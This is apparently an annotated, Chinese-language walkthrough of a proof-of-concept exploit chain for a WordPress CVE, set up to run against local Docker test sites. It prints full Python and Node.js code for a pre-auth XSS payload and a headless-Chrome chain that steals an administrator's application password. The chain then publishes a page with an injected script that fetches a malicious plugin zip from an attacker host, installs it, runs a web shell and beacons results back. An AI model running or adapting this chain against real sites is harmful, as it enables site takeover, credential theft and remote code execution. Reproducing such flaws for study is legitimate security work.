print() for desc, okk in checks: print(" %s %s" % ("\x1b[32m✓\x1b[0m" if okk else "\x1b[31m✗\x1b[0m", desc)) print() print(" 说明:应用密码(RCE 段的开关)默认只在 HTTPS 或 local 环境可用,") print(" 无法匿名探测,需在站点后台「用户 → 个人资料」页确认。") print() return checks检查这条链后面的几步在服务端是否具备条件(都是纯 HTTP 可验的)
- 第 1 条:登录页 HTML 里有
js/user-profile—— 自动点击的载体在 - 第 2 条:登录页 HTML 里没有
var ajaxurl—— 这个”没有”才是必要条件 - 第 3 条:登录页 HTML 里有
jquery——$.post的执行者 - 第 4 条:响应以
/**/markerCallback(开头 —— JSONP 端点免认证可用 - 第 5 条:响应里有
window.opener.approve.click(—— 回调名接受点号
cmd_checkcheck 子命令的调度
def cmd_check(args): print("=" * 72) print("CVE-2026-64638 漏洞与前提核查") print("=" * 72) print() print("── 第一步:解析器分歧(漏洞本体)──") print(" 同一个载荷,只改一处:`<` 后面有没有空格。") print()
t = check_reflection(args.target, "被测目标")
if args.control: check_reflection(args.control, "对照(官方修复版)")
vuln = [k for k, v in t.items() if v == "VULNERABLE"] if vuln: print("结论:目标存在 CVE-2026-64638。") print(" 证据:%s 被 wp_kses_post 还原成了活标签 <area>。" % vuln[0]) print(" 反证:无空格的那条被 wp_strip_all_tags 整段删除(回显为空)。") print(" 也就是说——尖括号后的那一个空格,就是整个漏洞的开关。") else: print("结论:目标未反射出活标签,漏洞不成立(或已被修复)。") print()
print("── 第二步:后续利用链的服务端前提 ──") print() check_prerequisites(args.target)
print("=" * 72) print("下一步:") print(" python3 poc/xss2shell.py payload # 看载荷怎么拼出来的") print(" python3 poc/xss2shell.py chain # 端到端打一遍(会调起无头 Chrome)") print("=" * 72)- 对目标调
check_reflection→ 拿到 VULNERABLE / SAFE / STRIPPED - 如果给了
--control(默认是 8089 上的官方修复版),也对它调一遍 - 调
check_prerequisites打链路前提 - 最后把结论收敛成三句话:结论 / 证据 / 反证
print("结论:目标存在 CVE-2026-64638。")print(" 证据:带空格 < area ...> 被 wp_kses_post 还原成了活标签 <area>。")print(" 反证:无空格的那条被 wp_strip_all_tags 整段删除(回显为空)。")刻意写成”证据 + 反证”这一对,是因为只给正向证据不算证明 —— 万一是目标站点自己就会回显任意 HTML 呢?配上”去掉一个空格就不回了”这条反证, 才能把因果锁死在那个空格上。这就是单变量对照的意义。
Tips—--control 传空字符串(--control "")可以跳过对照站点
cmd_check 里用 if args.control: 判断。这样只想快速看一眼目标时不用等两次请求。
cmd_payload``payload 子命令
def cmd_payload(args): print("=" * 72) print("载荷拆解") print("=" * 72) print() print("整段载荷(就是塞进 wp-login.php 的 log 字段):") print() print(" " + PAYLOAD_RCE) print() print("拆成三块看:") print() print(" ① < area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=window.opener.approve.click>") print(" · `< area` 中间那个空格 → PHP strip_tags() 不认它是标签 → 活下来") print(" · id=ajaxurl → DOM clobbering:顶替登录页上并不存在的 ajaxurl 变量") print(" · href=... → 变成脚本要请求的地址") print(" rest_route=/ → 免认证的 REST 路由") print(" _method=GET → 让 REST 把 POST 当成 GET 处理") print(" _jsonp=... → 要求以 JSONP 返回,回调名就是那串属性链") print() print(" ② < div id=color-picker class=reset-pass-submit>") print(" · user-profile.js 里有一段“自动生成密码”的代码,") print(" 它会去找 .reset-pass-submit 并自动点击里面的 .wp-generate-pw 按钮") print(" · 登录页本来没有这些元素,是这里凭空造出来的") print() print(' ③ < button class="wp-generate-pw color-option">X') print(" · 既是 .wp-generate-pw(被自动点击),") print(" 又是 .color-option(点击事件会冒泡到 #color-picker 的委托处理器)") print() print("两个易踩的坑:") print(" · href 里必须用字面的 &,不能写 &") print(" sanitize_user() 会用正则 /&.+?;/ 把 HTML 实体整段删掉") print(" (wp-includes/formatting.php:2156),写 & 查询串就断了") print(" · 三个 < 后面都要有空格。少一个,那段就被 strip_tags 删掉了") print()本质ai函数,把 PAYLOAD_RCE 这个常量讲给人听。
cleanup_plugin清理上一次攻击留下的插件目录
def cleanup_plugin(container): if not container: return if shutil.which("docker") is None: print(" (未做环境清理:PATH 里没有 docker。若这是第二次运行,可能误报成功)") return target = "/var/www/html/wp-content/plugins/%s" % PLUGIN_SLUG try: p = subprocess.run( ["docker", "exec", container, "rm", "-rf", target], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, timeout=20, ) except Exception as e: print(" (未做环境清理:%s)" % e) return if p.returncode == 0: print(" 环境清理:已删除 %s:%s(避免上次残留造成误判)" % (container, target)) else: msg = p.stderr.decode("utf-8", "replace").strip().replace("\n", " ")[:120] print(" (未做环境清理:%s)" % msg)删掉目标容器里上一次留下的插件目录,让本次安装是”真的装上了”。
WordPress 不允许把插件解压到已存在的同名目录上,所以第二次运行时 update.php 会返回 Destination folder already exists ——插件其实没装上,但因为上一次的 shell.php 还在,链条最后一步照样有回显,于是谎报成功。这个函数把旧目录删掉,让”这次真的装上了”成为可重复的事实。
- 它属于演示环境准备,不属于攻击链,所以单独一个函数、并且在输出里 明确打印一行”环境清理:已删除 …”,不混在攻击步骤里
- 删不掉也不阻断:
shutil.which("docker")先查命令在不在,try/except兜住docker exec的异常(比如容器名不对、docker 没启动)。 失败就打印一句”未做环境清理”,继续往下跑 —— 因为真正兜底的是 browser_chain 里那个更严的成功判据 - 超时 20 秒:
docker exec偶尔会因为 daemon 卡住不返回, 不给超时的话整个chain会挂在这里,看起来又像”没输出”
--container 参数传空字符串可以彻底跳过这一步(比如目标是远程主机时,
本地根本没有对应的容器可清)。
Tips—这个因为一次出错而写的
第一次 chain 跑通。为了确认稳定性紧接着再跑第二次 ——照样打印「完整链路打通」,退出码 0。看着挺稳。
但我去容器里看了一眼插件目录的时间戳,发现文件还是第一次那批:
$ docker exec cve-2026-64638 ls -l --time-style=full-iso \ /var/www/html/wp-content/plugins/pwn-plugin/-rw-r--r-- 1 www-data www-data 415 2026-09-21 05:59:22.931886467 +0000 shell.php ↑ 上一次运行的时间$ date "+%Y-%m-%d %H:%M:%S"2026-09-21 14:05:23 ← 第二次运行已经过去 6 分钟,文件却没动当时的错误结论:“第二次也跑通了,说明链条很稳定。”
实际发生的:WordPress 不允许把插件解压到一个已经存在的同名目录上。
第二次 update.php 返回的是Destination folder already exists,也就是没装上(installed=false)。
而链条最后一步只是去请求 shell.php —— 那个文件是上一次留下的,
所以照样返回 rce:true。这个”成功”是假的。
信标日志里其实写得很清楚(/tmp/cve-2026-64638-capture.log):
{"step": "got-nonce"}{"step": "fetched-zip", "bytes": "413"}{"step": "uploaded", "installed": "false"} ← 没装上{"step": "rce", "payload": "{...\"rce\":true...}"} ← 但旧文件还在,所以有回显修法一:收紧成功判据
不能只看有没有 rce 回显。必须同时满足两条:
- 「这次真的装上了」→
uploaded记录的installed字段是true - 「shell 真的执行了」→
rce记录存在
而且要把判定结果反映到退出码上:
if (!(rceRecord && installedFresh)) process.exitCode = 1;只打印不报错的话,Python 侧会用 rc != 0 判断成败,
于是这个假阳性会接着传染给独立验证那一步(那里也会因为旧文件而返回成功),
一个假阳性变成两个。
修法二:让「真的装上」这件事可重复
chain 开跑前先清掉容器里残留的插件目录:
docker exec cve-2026-64638 rm -rf /var/www/html/wp-content/plugins/pwn-plugin这一步不是攻击链的一部分,是演示环境准备 ——
所以代码里单独放在 cleanup_plugin()(poc/xss2shell.py:302),
并在输出里明确打印一行:
环境清理:已删除 cve-2026-64638:/var/www/html/wp-content/plugins/pwn-plugin(避免上次残留造成误判)删不掉也不阻断流程(目标是远程主机、或本地没装 docker 时都删不了)—— 那种情况下靠修法一收紧的判据如实报失败,不会再谎报成功。 这也是为什么”修法一”才是必需项,“修法二”只是让重复运行更省事。
教训:
- “复现成功”必须有一个能区分新旧状态的证据。文件时间戳、 随机化的名字、或者”这次真的装上了”的返回值 —— 选一个,别偷懒
- 凡是”从环境里读回来”的结果(回显、文件内容、状态码), 都要追问一句”这个结果有没有可能是上一轮留下的”
- 退出码要表达判定结论,不能只表达”脚本没崩”
cmd_chain用随机调试端口
def cmd_chain(args): print("=" * 72) print("CVE-2026-64638 端到端利用") print("=" * 72) print() print("这一步会:") print(" 0. 先清掉容器里上次残留的插件目录(保证这次是「真的装上了」)") print(" 1. 起攻击者站点(attack/serve.py)") print(" 2. 调起无头 Chrome 跑 poc/browser_chain.mjs:") print(" 管理员登录 → 访问攻击页 → 预认证 XSS → 跨窗口点中「批准」→ 拿到应用密码") print(" 3. 用应用密码走 REST 发布一个带 <script> 的页面") print(" 4. 让浏览器打开那个页面 → 脚本借管理员会话上传插件 → 执行 PHP") print()
node = args.node or "node" serve = os.path.join(ROOT, "attack", "serve.py") chain = os.path.join(HERE, "browser_chain.mjs")
# 每次换一个随机调试端口。 # 原因:Chrome 的调试端口是固定的话,上一轮没退干净的 Chrome 会顶在 9222 上, # 新的浏览器实例连不上自己的调试端口,链条就会卡在第一步。 import random debug_port = args.debug_port or random.randint(9300, 9800)
cleanup_plugin(args.container)
# 起攻击者站点(后台子进程),退出时收掉 attacker = subprocess.Popen([sys.executable, serve, str(args.attack_port)]) time.sleep(1.5)
try: env = dict(os.environ) env.update({ "TARGET": args.target, "ATTACK": "http://127.0.0.1:%d" % args.attack_port, "ADMIN_USER": args.admin_user, "ADMIN_PASS": args.admin_pass, "DEBUG_PORT": str(debug_port), "CONTAINER": args.container or "", }) proc = subprocess.run([node, chain], env=env, cwd=ROOT) rc = proc.returncode finally: attacker.terminate() attacker.wait(timeout=5)
if rc != 0: print() print("链路没有跑通(退出码 %d)。" % rc) return rc
# 最后自己再去请求一次 webshell,独立确认代码执行是真的 print() return cmd_verify(args)debug_port = args.debug_port or random.randint(9300, 9800)Chrome 的调试端口如果固定,上一轮没退干净的 Chrome 会占着这个端口, 新的 Chrome 起不来(或者更糟:连到那个残留实例上,而它没有我们的登录状态)。 随机挑一个就把这类干扰消掉了。
编排顺序也很讲究:先清场 → 再起攻击者站点 → 等 1.5 秒(等端口监听上)→
跑浏览器链 → finally 里无论成功失败都收掉攻击者站点。
try/finally 是必须的,否则链跑挂了会留下一个占着 9099 的僵尸进程,
下次运行直接失败。
cmd_chain 只看子进程的退出码(if rc != 0)来判断成败。这就是为什么 browser_chain.mjs 必须把”这次到底有没有真的装上去”反映到 process.exitCode 上 ——
否则节点脚本打印一句”成功”、退出码仍然是 0,cmd_chain 就会接着去跑独立验证,而独立验证又会因为旧文件而返回成功,一个假阳性变成两个。
cmd_verify看自定义响应头
def cmd_verify(args): url = args.target.rstrip("/") + "/wp-content/plugins/%s/shell.php" % PLUGIN_SLUG print("─" * 72) print("独立验证:直接请求刚落地的 PHP") print(" " + url) try: status, headers, body = http_request(url) print(" HTTP %s" % status) if "x-pwned-by" in headers: print(" 响应头 X-Pwned-By: %s" % headers["x-pwned-by"]) if body.strip(): try: info = json.loads(body) print(" 代码执行结果: %s" % json.dumps(info, ensure_ascii=False)) if info.get("rce"): print() print(" \x1b[32m代码执行确认成功\x1b[0m(进程身份:%s)" % info.get("php_user")) return 0 except ValueError: print(" 响应体: " + body[:300]) print(" 没拿到预期结果——可能插件还没上传,或环境被加固了。") return 1 except Exception as e: print(" 请求失败: %s" % e) return 1if "x-pwned-by" in headers: print(" 响应头 X-Pwned-By: %s" % headers["x-pwned-by"])HTTP 头名在传输时不区分大小写,http.client 把它们原样返回(这里是全小写),
所以判断时用小写键名。
这个自定义头的作用是排除一部分误判:如果我们只检查响应体里的 {"rce":true},
有可能是页面缓存、反向代理篡改、或者某个恰好同名的静态文件。
看到只有我们的 PHP 才会设置的响应头,才能确认”这段代码真的在跑”。
但要说清楚它的能力边界:这个头只能证明”我们的 PHP 执行了”,
不能证明”这个 PHP 是这一次刚上传的”。
上面那次假阳性里,旧文件同样会返回 X-Pwned-By。
cmd_versions
def cmd_versions(args): for label, base in (("target ", args.target), ("control", args.control)): print("%s %-28s WordPress %s" % (label, base, fingerprint(base))) if args.hardened: print("hardened %-28s WordPress %s" % (args.hardened, fingerprint(args.hardened)))用元组列表而不是字典,是为了保留打印顺序(字典在旧版本 Python 里无序)。
%-28s 是左对齐补空格,让两个地址的版本号能对齐成一列 ——
纯粹为了好看,但排查时一眼能对比出 7.0.2 和 7.0.3 的差别,值得。
main
def main(): p = argparse.ArgumentParser( description="CVE-2026-64638(WordPress XSS2Shell)复现 PoC", formatter_class=argparse.RawDescriptionHelpFormatter, ) sub = p.add_subparsers(dest="cmd")
c = sub.add_parser("check", help="纯 HTTP 验证漏洞与链路前提") c.add_argument("--target", default=DEFAULT_TARGET) c.add_argument("--control", default=DEFAULT_CONTROL, help="对照站点(官方修复版),传空字符串可跳过") c.set_defaults(func=cmd_check)
pl = sub.add_parser("payload", help="打印载荷并逐段拆解") pl.set_defaults(func=cmd_payload)
ch = sub.add_parser("chain", help="端到端跑一遍完整利用链") ch.add_argument("--target", default=DEFAULT_TARGET) ch.add_argument("--attack-port", type=int, default=DEFAULT_ATTACK_PORT) ch.add_argument("--admin-user", default="admin") ch.add_argument("--admin-pass", default="admin12345") ch.add_argument("--node", default=None, help="node 可执行文件路径(默认用 PATH 里的)") ch.add_argument("--debug-port", type=int, default=0, help="Chrome 调试端口(默认随机挑一个)") ch.add_argument("--container", default=DEFAULT_CONTAINER, help="目标容器名,仅用于开跑前清掉上次残留的插件目录;传空字符串可跳过") ch.set_defaults(func=cmd_chain)
v = sub.add_parser("verify", help="独立验证 webshell") v.add_argument("--target", default=DEFAULT_TARGET) v.set_defaults(func=cmd_verify)
vs = sub.add_parser("versions", help="打印目标与对照的 WordPress 版本") vs.add_argument("--target", default=DEFAULT_TARGET) vs.add_argument("--control", default=DEFAULT_CONTROL) vs.add_argument("--hardened", default="http://127.0.0.1:8090", help="加固站点 URL(用于统一验证三个站点版本),传空字符串可跳过") vs.set_defaults(func=cmd_versions)
args = p.parse_args() if not getattr(args, "func", None): p.print_help() return 1 return args.func(args) or 0
if __name__ == "__main__": # 让本脚本的 print 和子进程(node / Chrome)的输出保持先后顺序。 # 默认情况下 stdout 若是管道就是「块缓冲」——本脚本的标题会攒到最后才吐, # 而 node 是直接写 fd 的,于是 `... | tail` 或重定向到日志时会看到 # 「子进程输出在前、自己的标题在后」这种错位,容易让人以为是脚本逻辑有问题。 try: sys.stdout.reconfigure(line_buffering=True) except Exception: pass sys.exit(main())if not getattr(args, "func", None): p.print_help() return 1return args.func(args) or 0- 用
set_defaults(func=...)把子命令和函数绑在一起,省掉一长串if/elif - 不传子命令时返回 1(而不是 0):直接跑
python3 xss2shell.py而没给子命令,属于用法错误,退出码要能体现出来 args.func(args) or 0处理”函数返回None”的情况 ——cmd_versions没有显式 return,None or 0就是 0
poc/browser_chain.mjs 结构
ES Module(.mjs)格式的 Node.js 脚本
第 34 行 参数区 —— 全部可被环境变量覆盖,方便换目标/换端口第 53 行 class CDP —— 极简 DevTools Protocol 客户端第 124 行 evaluate —— 在页面里执行 JS 并取回值第 134 行 navAndWait —— 导航并等 load 事件(不等的话会在页面还没加载完时就去取元素)第 147 行 attackerREST —— 攻击者本机:用应用密码走 REST 认证并发页第 175 行 main —— 六个阶段的主流程(含 187 行的 Chrome stderr 环形缓冲)#!/usr/bin/env node/** * CVE-2026-64638 复现 —— 浏览器端完整利用链(XSS → 应用密码 → 插件上传 → RCE) * * 为什么需要浏览器: * 本漏洞的第一段(解析分歧导致反射型 XSS)可以只用 HTTP 请求验证; * 但后面几段全部发生在浏览器里 —— user-profile.js 的自触发点击、 * DOM clobbering 覆盖 ajaxurl、JSONP 回调被当成脚本执行、 * 以及跨窗口(SOME)点击管理员授权页上的"批准"按钮。 * 而且最后一步"上传插件"必须借用管理员的 Cookie 会话: * 应用密码只能认证 REST 请求,进不了 wp-admin(实测会被 auth_redirect 弹回登录页)。 * 所以这一段必须真的跑一个浏览器。 * * 为什么用 CDP 而不是 Playwright / Puppeteer: * 本机已经装了 Google Chrome,用 Node 22 内置的 WebSocket 直连 * Chrome DevTools Protocol 就够了,不需要 npm install 任何东西。 * 这与项目里"脚本走零依赖"的习惯一致。 * * 角色分工(和真实攻击一致): * Node 进程本身 = 攻击者的机器(只用应用密码走 REST,没有任何 Cookie) * 浏览器标签页 = 受害者的浏览器(带着管理员的登录 Cookie) * * 用法: * node poc/browser_chain.mjs * 可用环境变量覆盖:TARGET / ATTACK / ADMIN_USER / ADMIN_PASS / DEBUG_PORT / CHROME */
import { spawn } from "node:child_process";import fs from "node:fs";import os from "node:os";import path from "node:path";
// ── 可从环境变量覆盖的参数 ────────────────────────────────────const TARGET = (process.env.TARGET || "http://127.0.0.1:8088").replace(/\/$/, "");const ATTACK = (process.env.ATTACK || "http://127.0.0.1:9099").replace(/\/$/, "");const ADMIN_USER = process.env.ADMIN_USER || "admin";const ADMIN_PASS = process.env.ADMIN_PASS || "admin12345";const DEBUG_PORT = Number(process.env.DEBUG_PORT || 9222);const CHROME = process.env.CHROME || "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome";
const CAPTURE_LOG = "/tmp/cve-2026-64638-capture.log";const APPPASS_FILE = "/tmp/cve-2026-64638-apppass.json";const PLUGIN_SLUG = "pwn-plugin";
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
// ── 极简 CDP 客户端 ──────────────────────────────────────────// Chrome DevTools Protocol 就是一条 WebSocket 上的 JSON-RPC:// 发出去 {id, method, params, sessionId?}// 收回来 {id, result} 或 {method, params}(事件)// 只需要这么点功能,所以手写一个,不引第三方库。class CDP { constructor(url, { stderrRef } = {}) { this.ws = new WebSocket(url); this.nextId = 1; this.pending = new Map(); this.listeners = []; this.stderrRef = stderrRef || null; this.ready = new Promise((res, rej) => { this.ws.addEventListener("open", () => res()); this.ws.addEventListener("error", () => rej(new Error("WebSocket 连接失败: " + url))); }); this.ws.addEventListener("message", (ev) => { const msg = JSON.parse(ev.data); if (msg.id && this.pending.has(msg.id)) { const { resolve, reject } = this.pending.get(msg.id); this.pending.delete(msg.id); msg.error ? reject(new Error(JSON.stringify(msg.error))) : resolve(msg.result); } else if (msg.method) { for (const fn of this.listeners) fn(msg); } });
// 连接断开时,把还没回包的请求全部拒绝掉。 // 这一步不是可选的:如果不管,那些 await 会永远挂着不动, // Node 的事件循环一旦没有别的事情可做,进程会以**退出码 0** 静默结束 —— // 看起来就像"脚本什么都没干就正常退出了",极难排查。 // // 这里把 Chrome 自己的 stderr 尾巴也带出来。实测最有价值的一种断开是 // "Chrome 先崩了、WebSocket 才断"(浏览器侧发 close 1006), // 光看"连接已断开"完全不知道该修哪里;把 stderr 摆出来一眼就能看到 // 是沙箱起不来、还是 GPU 进程反复崩导致 Chrome 主动退出。 this.ws.addEventListener("close", (ev) => { const n = this.pending.size; const tail = this.stderrRef ? this.stderrRef.tail() : ""; const reason = `调试连接已断开(close code=${ev.code},${n} 个请求没有拿到回包)。` + "常见三种原因:① 上一个 Chrome 实例没退干净、占着调试端口;" + "② Chrome 子进程沙箱起不来(受限 shell 里很常见,需要 --no-sandbox);" + "③ GPU 进程反复崩溃,Chrome 判定不可用后主动退出。" + (tail ? "\n──── Chrome stderr 末尾 ────\n" + tail : ""); for (const [, { reject }] of this.pending) reject(new Error(reason)); this.pending.clear(); }); }
send(method, params = {}, sessionId) { const id = this.nextId++; const payload = { id, method, params }; if (sessionId) payload.sessionId = sessionId; this.ws.send(JSON.stringify(payload)); return new Promise((resolve, reject) => this.pending.set(id, { resolve, reject })); }
/** 等某个事件(可按 sessionId 过滤),超时返回 null */ waitEvent(method, { sessionId, timeout = 15000 } = {}) { return new Promise((resolve) => { const fn = (msg) => { if (msg.method !== method) return; if (sessionId && msg.sessionId !== sessionId) return; clearTimeout(t); this.listeners = this.listeners.filter((f) => f !== fn); resolve(msg.params); }; const t = setTimeout(() => { this.listeners = this.listeners.filter((f) => f !== fn); resolve(null); }, timeout); this.listeners.push(fn); }); }}
async function evaluate(cdp, sessionId, expression) { const r = await cdp.send( "Runtime.evaluate", { expression, returnByValue: true, awaitPromise: true }, sessionId ); if (r.exceptionDetails) throw new Error("页面内求值出错: " + JSON.stringify(r.exceptionDetails)); return r.result.value;}
async function navAndWait(cdp, sessionId, url, timeout = 20000) { const done = cdp.waitEvent("Page.loadEventFired", { sessionId, timeout }); await cdp.send("Page.navigate", { url }, sessionId); await done; await sleep(300);}
const step = (n, t) => console.log("\x1b[36m[%s]\x1b[0m %s", String(n).padStart(2, " "), t);const ok = (t) => console.log(" \x1b[32m✓\x1b[0m " + t);const info = (t) => console.log(" · " + t);
// ── 角色:攻击者的机器(Node 直接发 HTTP,不带任何 Cookie)────// 这一段对应"攻击者在自己的电脑上,拿着刚偷到的应用密码打 REST API"async function attackerREST(appPassword, pageContent) { const auth = "Basic " + Buffer.from(`${ADMIN_USER}:${appPassword}`).toString("base64");
// 1) 先确认这个密码真的能当管理员用 const meRes = await fetch(`${TARGET}/?rest_route=/wp/v2/users/me`, { headers: { Authorization: auth }, }); const me = await meRes.json(); if (!me || !me.id) throw new Error("应用密码无效: " + JSON.stringify(me).slice(0, 200)); ok(`应用密码通过 REST 认证,当前身份: ${me.slug} (id=${me.id}, roles=${(me.roles || []).join(",")})`);
// 2) 发布一个内容里带 <script> 的页面。 // 单站点管理员默认拥有 unfiltered_html,脚本原样入库。 const pageRes = await fetch(`${TARGET}/?rest_route=/wp/v2/pages`, { method: "POST", headers: { Authorization: auth, "Content-Type": "application/json" }, body: JSON.stringify({ title: "Screensaver Update", status: "publish", content: pageContent }), }); const page = await pageRes.json(); if (!page.link) throw new Error("发页失败: " + JSON.stringify(page).slice(0, 300)); ok(`已发布页面 id=${page.id} → ${page.link}`); info(`入库内容(raw,未被转义,说明 unfiltered_html 生效): ${String(page.content?.raw).slice(0, 80)}...`);
return page;}
// ── 主流程 ───────────────────────────────────────────────────async function main() { const profile = fs.mkdtempSync(path.join(os.tmpdir(), "cve-2026-64638-chrome-")); fs.writeFileSync(CAPTURE_LOG, "");
console.log("=".repeat(72)); console.log("CVE-2026-64638 XSS2Shell 完整利用链(浏览器端)"); console.log(" 目标站点 : " + TARGET); console.log(" 攻击者站点 : " + ATTACK); console.log("=".repeat(72));
// 把 Chrome 的 stderr 收集起来(只留最后 40 行,够定位问题又不会刷屏)。 // 正常跑完不打印;只有在 CDP 连接莫名断开时才会附到报错里。 const stderrRing = []; const stderrRef = { push: (chunk) => { for (const line of String(chunk).split("\n")) if (line.trim()) stderrRing.push(line.trim()); while (stderrRing.length > 40) stderrRing.shift(); }, tail: () => stderrRing.slice(-8).join("\n"), };
// 这几个参数不是可选项,缺一个链条就会卡在第一步: // --no-sandbox 受限 shell 里 Chrome 自己的子进程沙箱初始化会失败 // (报 "sandbox initialization failed: Operation not permitted"), // 进而 GPU 进程反复崩,Chrome 打出 // "GPU process isn't usable. Goodbye." 后带着 SIGTRAP 自杀, // WebSocket 以 close 1006 断开,所有 CDP 请求石沉大海。 // --disable-gpu 无头环境本来也不需要真实 GPU // --disable-dev-shm-usage 容器/受限环境里 /dev/shm 常常很小 // --disable-software-rasterizer 彻底关掉软件光栅化,避免再拉起 GPU 进程 const chrome = spawn( CHROME, [ "--headless=new", "--remote-debugging-port=" + DEBUG_PORT, "--user-data-dir=" + profile, "--no-first-run", "--no-default-browser-check", "--no-sandbox", "--disable-gpu", "--disable-dev-shm-usage", "--disable-software-rasterizer", "--disable-popup-blocking", // 链条第一步要 window.open,弹窗拦截必须关掉 "about:blank", ], { stdio: ["ignore", "ignore", "pipe"] } ); chrome.stderr.on("data", (d) => stderrRef.push(d));
try { // 等 Chrome 把调试端口打开 let version = null; for (let i = 0; i < 80 && !version; i++) { try { version = await fetch(`http://127.0.0.1:${DEBUG_PORT}/json/version`).then((r) => r.json()); } catch { await sleep(250); } } if (!version) { throw new Error("Chrome 调试端口没起来(等 20 秒仍是空)。" + "如果用的是自己指定 CHROME 环境变量的浏览器,确认路径正确;" + "否则多半是 Chrome 启动即崩溃。\n──── Chrome stderr 末尾 ────\n" + stderrRef.tail()); } step(0, "已连接无头 Chrome:" + version.Browser);
const cdp = new CDP(version.webSocketDebuggerUrl, { stderrRef }); await cdp.ready;
const { targetId } = await cdp.send("Target.createTarget", { url: "about:blank" }); const { sessionId } = await cdp.send("Target.attachToTarget", { targetId, flatten: true }); await cdp.send("Page.enable", {}, sessionId); await cdp.send("Runtime.enable", {}, sessionId);
// ── 第 1 步:管理员登录(模拟"受害者此刻正登录着") step(1, "管理员登录(模拟受害者已有活跃会话)"); await navAndWait(cdp, sessionId, TARGET + "/wp-login.php"); await evaluate( cdp, sessionId, `(() => { document.getElementById('user_login').value = ${JSON.stringify(ADMIN_USER)}; document.getElementById('user_pass').value = ${JSON.stringify(ADMIN_PASS)}; document.getElementById('loginform').submit(); return true; })()` ); await sleep(2500); ok("登录成功,当前地址: " + (await evaluate(cdp, sessionId, "location.href")));
// ── 第 2 步:把管理员引到攻击者的第三方网站 step(2, "把管理员引到攻击者页面(社会工程学那一步)"); await navAndWait(cdp, sessionId, ATTACK + "/evil.html?t=" + encodeURIComponent(TARGET)); info("攻击页会:开子窗口写载荷表单 → 把主窗口送去授权页 → 子窗口提交载荷"); await sleep(1500); ok("主窗口已被送去: " + (await evaluate(cdp, sessionId, "location.href")));
// ── 第 3 步:等链条跑完,主窗口被重定向回攻击者的回调地址 step(3, "等待自动点击链:子窗口 DOM clobbering → JSONP 回调 → 跨窗口点中「批准」"); let callbackUrl = null; for (let i = 0; i < 60; i++) { try { const href = await evaluate(cdp, sessionId, "location.href"); if (href.includes("/cb?")) { callbackUrl = href; break; } } catch { /* 页面正在导航,忽略 */ } await sleep(500); } if (!callbackUrl) throw new Error("超时:没有等到回调(链条没跑通)");
const u = new URL(callbackUrl); const appPassword = u.searchParams.get("password"); const siteUrl = u.searchParams.get("site_url"); const userLogin = u.searchParams.get("user_login");
ok("回调命中,WordPress 把新建的应用密码交给了攻击者"); console.log(""); console.log(" ┌───────────────── 窃取到的凭据 ─────────────────"); console.log(" │ site_url : " + siteUrl); console.log(" │ user_login : " + userLogin); console.log(" │ password : " + appPassword); console.log(" └────────────────────────────────────────────────"); console.log(""); if (!appPassword) throw new Error("回调里没有 password 参数");
fs.writeFileSync(APPPASS_FILE, JSON.stringify({ siteUrl, userLogin, password: appPassword }, null, 2)); ok("凭据已落盘: " + APPPASS_FILE);
// ── 第 4 步(攻击者本机):用应用密码走 REST,发布带 <script> 的页面 // 这段 JS 会被放进页面正文。它跑在目标站自己的源上, // 用的是管理员的 Cookie 会话 —— 因为上传插件要过 wp-admin 的 nonce 校验, // 应用密码进不去 wp-admin(实测会被弹回登录页)。 const attackScript = `<script>(async () => { const beacon = (k) => { try { (new Image()).src = ${JSON.stringify(ATTACK + "/cb")} + '?' + k; } catch (e) {} }; try { // 1) 抓上传表单里的 _wpnonce const form = await fetch('/wp-admin/plugin-install.php?tab=upload').then(r => r.text()); const m = form.match(/name="_wpnonce" value="([^"]+)"/); if (!m) { beacon('step=no-nonce'); return; } beacon('step=got-nonce'); // 2) 从攻击者站点把恶意插件包取回来(攻击者站点开了 CORS) const blob = await fetch(${JSON.stringify(ATTACK + "/payload.zip")}).then(r => r.blob()); beacon('step=fetched-zip&bytes=' + blob.size); // 3) 走 WordPress 自己的上传流程装插件 const fd = new FormData(); fd.append('_wpnonce', m[1]); fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload'); fd.append('pluginzip', blob, 'payload.zip'); fd.append('install-plugin-submit', 'Install Now'); const up = await fetch('/wp-admin/update.php?action=upload-plugin', { method: 'POST', body: fd }).then(r => r.text()); beacon('step=uploaded&installed=' + /Plugin installed successfully/.test(up)); // 4) 直接请求刚落地的 PHP —— 不需要"启用"插件 const res = await fetch('/wp-content/plugins/${PLUGIN_SLUG}/shell.php'); const txt = await res.text(); beacon('step=rce&payload=' + encodeURIComponent(txt.trim())); } catch (e) { beacon('step=error&msg=' + encodeURIComponent(e.message)); }})();</script>`;
step(4, "攻击者本机:用应用密码走 REST API 发布带脚本的页面"); const page = await attackerREST(appPassword, attackScript);
// ── 第 5 步:让管理员的浏览器去访问那个页面 —— 脚本在目标源上执行 step(5, "管理员浏览器打开被投毒的页面,页面脚本接管会话"); await navAndWait(cdp, sessionId, page.link); info("页面里的脚本正在:抓 nonce → 取插件包 → 调 update.php 上传 → 请求 shell.php");
// ── 第 6 步:等 RCE 信标回来 step(6, "等待 RCE 信标"); // 这里要同时收两种记录,不能只看 rce 那一条。 // 原因:如果目标上**已经**存在上一次留下的 shell.php, // 那么"上传插件"这一步就算失败,最后请求 shell.php 也照样能拿到 rce:true —— // 链条会凭空宣布"打通"。实测踩过这个坑(第二次运行时 uploaded 的 // installed 字段是 false,但脚本仍然报了成功)。 // 所以成功判据必须是:**这次真的装上了** 并且 **shell 真的跑了**。 let rceRecord = null; let uploadedRecord = null; for (let i = 0; i < 40 && !(rceRecord && uploadedRecord); i++) { await sleep(500); const lines = fs.readFileSync(CAPTURE_LOG, "utf-8").split("\n").filter(Boolean); for (const line of lines) { try { const rec = JSON.parse(line); if (rec.step === "rce") rceRecord = rec; if (rec.step === "uploaded") uploadedRecord = rec; } catch {} } } const installedFresh = uploadedRecord && String(uploadedRecord.installed) === "true";
